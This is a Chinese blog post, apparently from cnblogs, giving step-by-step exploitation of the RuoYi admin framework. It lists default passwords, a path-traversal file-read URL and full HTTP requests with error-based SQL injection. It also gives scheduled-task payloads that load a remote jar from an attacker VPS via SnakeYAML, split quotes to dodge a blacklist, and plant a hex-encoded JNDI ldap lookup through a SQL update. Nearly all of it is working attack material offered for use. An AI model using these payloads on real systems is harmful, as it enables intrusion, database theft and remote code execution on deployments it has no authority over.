首页 > 其他分享 >ruoyi漏洞利用

ruoyi漏洞利用

时间:2024-07-02 15:54:27浏览次数:11  
标签:application zh 利用 ruoyi Accept 漏洞 job Sec Fetch

1、ruoyi默认口令

admin/admin123

ruoyi/123456

2、前端shiro反序列化

版本过低,基本不能利用,使用反序列化工具不再过多介绍。

3、任意文件读取 Ruoyi <4.5.1

GET /common/download/resource?resource=/profile/../../../../../../../{filename}

4、SQL注入

4-1、/system/role/list路径

post型

POST /system/role/list HTTP/1.1  
Host: 127.0.0.1  
User-Age  
nt: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Content-Length: 181  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/system/role  
Cookie: UMK8_2132_ulastactivity=fdf6lh5P4KaIR7rPwncVmGmx5z2ymLLNz3o33msgkFJlQ1SdH%2FhR; UMK8_2132_lastcheckfeed=1%7C1637287051; UMK8_2132_nofavfid=1; JSESSIONID=d9eca4a4-7fcd-41ba-9888-75e7c73dc9bf  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
  
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))  

GET型

GET /system/role/list?pageSize=10&pageNum=1&orderByColumn=&isAsc=&roleName=&roleKey=&status=&params%5BbeginTime%5D=&params%5BendTime%5D=&params%5BdataScope%5D=and+extractvalue(1,concat(0x7e,(select+database()),0x7e))   HTTP/1.1  
Host: 127.0.0.1  
User-Age  
nt: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0  
Accept: application/json, text/javascript, */*; q=0.01  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
X-Requested-With: XMLHttpRequest  
Content-Length: 181  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/system/role  
Cookie: UMK8_2132_ulastactivity=fdf6lh5P4KaIR7rPwncVmGmx5z2ymLLNz3o33msgkFJlQ1SdH%2FhR; UMK8_2132_lastcheckfeed=1%7C1637287051; UMK8_2132_nofavfid=1; JSESSIONID=d9eca4a4-7fcd-41ba-9888-75e7c73dc9bf  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  

4-2、/system/dept/list路径

POST /system/dept/list HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Upgrade-Insecure-Requests: 1
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
Connection: keep-alive
Sec-Fetch-Dest: document
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Cookie: 
sec-ch-ua-mobile: ?0
Sec-Fetch-User: ?1
sec-ch-ua-platform: "Windows"
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Content-Length: 0
​
params[dataScope]=and extractvalue(1,concat(0x7e,(select database()),0x7e))

5、定时任务

5-1、无限制定时任务利用

在vps配置好exp之后,在定时任务处新建定时任务

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://vps地址/yaml-payload.jar"]]]]')  
​
0/10 * * * * ?  

5-2、黑名单限制了调用字符串

定时任务屏蔽ldap远程调用

定时任务屏蔽http(s)远程调用

定时任务屏蔽rmi远程调用

org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“h’t’t’p’://vps地址/yaml-payload.jar”]]]]’)  
​
0/10 * * * * ?  

5-3、调用类白名单限制

利用 genTableServiceImpl.createTable 方法来修改invoke_target为Jndi payload。

漏洞利用方式:

新建定时任务:

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 'NILF' WHERE job_id = 1;')
​
0/10 * * * * ?  

此时若job_id为1的任务“调用目标字符串”为NILF,则说明漏洞存在,则进一步利用。 实际攻击payload为:

genTableServiceImpl.createTable("UPDATE sys_job SET invoke_target = \"javax.naming.InitialContext.lookup('ldap://ip:端口/Deserialization/URLDNS/ekwzmxtyim.dgrh3.cn')\" WHERE job_id = 1;")

但是一般会禁用jndi,对value(javax.naming.InitialContext.lookup('ldap://ip:端口/Deserialization/URLDNS/ekwzmxtyim.dgrh3.cn'))转换为16进制绕过黑名单限制。 最终payload为:

genTableServiceImpl.createTable('UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f3139322e3136382e34342e38343a313338392f446573657269616c697a6174696f6e2f55524c444e532f656b777a6d787479696d2e64677268332e636e2729 WHERE job_id = 1;')

 



标签:application,zh,利用,ruoyi,Accept,漏洞,job,Sec,Fetch
From: https://www.cnblogs.com/nilf/p/18280005

相关文章

  • 利用爬虫批量下载小说内容
    #此文章仅供学习参考#http://book.zongheng.com/#https://www.zongheng.com/books?worksTypes=6104大类链接#https://read.zongheng.com/chapter/1215587/68240827.html第一章链接<liclass="vipcol-4"><ahref="https://book.zongheng.com/......
  • CentOS 7基于开源项目制作openssh9.8p1 rpm二进制包修复安全漏洞CVE-2024-6387 ——
    2024年7月1日,官方发布openssh9.8版本,修复了安全漏洞CVE-2024-6387。此处主要基于开源项目https://github.com/boypt/openssh-rpms.git制作,之前也有写过类似的文章,这里就不再赘述。CentOS5/6/7基于开源项目制作openssh9.6p1rpm包——筑梦之路_centos6openssh9.6rpm-CSD......
  • TypeScript中,如何利用数组生成一个联合类型
    本文由ChatMoney团队出品在开发中我们常常会遇到这样一个问题,代码如下:constarr=["a","b","c","d","e","f","g","h","i","j","k","l&qu......
  • TypeScript中,如何利用数组生成一个联合类型
    本文由ChatMoney团队出品在开发中我们常常会遇到这样一个问题,代码如下:constarr=["a","b","c","d","e","f","g","h","i","j","k","l&qu......
  • 详解Web应用安全系列(5)敏感数据泄露漏洞
    在最近几年,这是最常见的,最具影响力的攻击。这个领域最常见的漏洞是不对敏感数据进行加密。在数据加密过程中,常见的问题是不安全的密钥生成和管理以及使用弱密码算法,弱协议和弱密码。特别是使用弱的哈希算法来保护密码。在服务端,检测数据传输过程中的数据弱点很容易,但检测存储数据......
  • MyBatis-利用切面实现公有字段自动填充(非MyBatisPlus方式)
    需求:在MyBatis框架中,如何对createBy,createTime,updateBy等这些公有字段实现自动填充呢?网上搜了很多,实现的方案全是采用集成MyBatisPlus,利用其封装好的方法来实现的。。。。。数据准备:1、准备一张数据库表CREATETABLE`user`(`id`varchar(36)NOTNULL,`username`......
  • 一款利用人工智能将自然语言查询转换为 SQL 代码的互译工具 - SQL Translator
    https://www.sqltranslate.app/ 一款利用人工智能将自然语言查询转换为SQL代码的互译工具-SQLTranslator 思维导航前言SQLTranslator介绍工具特性本地项目部署在线效果演示程序员常用的工具软件前言对于后端程序员来说,编写SQL代码是日常工作中不可或缺......
  • windows 和 ubuntu双系统利用iperf3 测试网络带宽
    本文介绍如何利用iperf3就行windows和ubuntu的带宽测试。本文的写作原因是在进行webrtc通信时发现带宽利用率极低,只有20M左右,而我设置的动态瓶颈带宽最低都有80M。一开始是想利用tcp连接不停发送数据来利用nload查看网络吞吐量观察带宽变化。实现之后发现因为每次写入的数据太小......
  • 利用阿里云API获取实时天气信息|C语言Linux网络编程练手小项目
    文章目录目录文章目录前言一、HTTP数据请求1.HTTP概述2.数据请求方式3.JSON格式二、阿里云API获取,使用1.购买(白嫖)API接口步骤2.API使用代码编写3.编译程序 4.运行结果总结前言在项目开发时常常需要显示各种信息,如时间、天气、温度、空气质量指数等等。在......
  • 【burpsuite安全练兵场-客户端15】基于DOM的漏洞-7个实验(全)
    目录一、基于DOM的漏洞1、DOM2、污染流漏洞3、共同来源4、会导致基于DOM漏洞的汇点5、防止基于DOM的污染流漏洞二、反射型DOM、存储型DOM三、控制Web消息源1、简述:2、影响:3、使用Web消息作为攻击源构建攻击实验1:使用Web消息的DOMXSS实验2:使用Web消息和JavaS......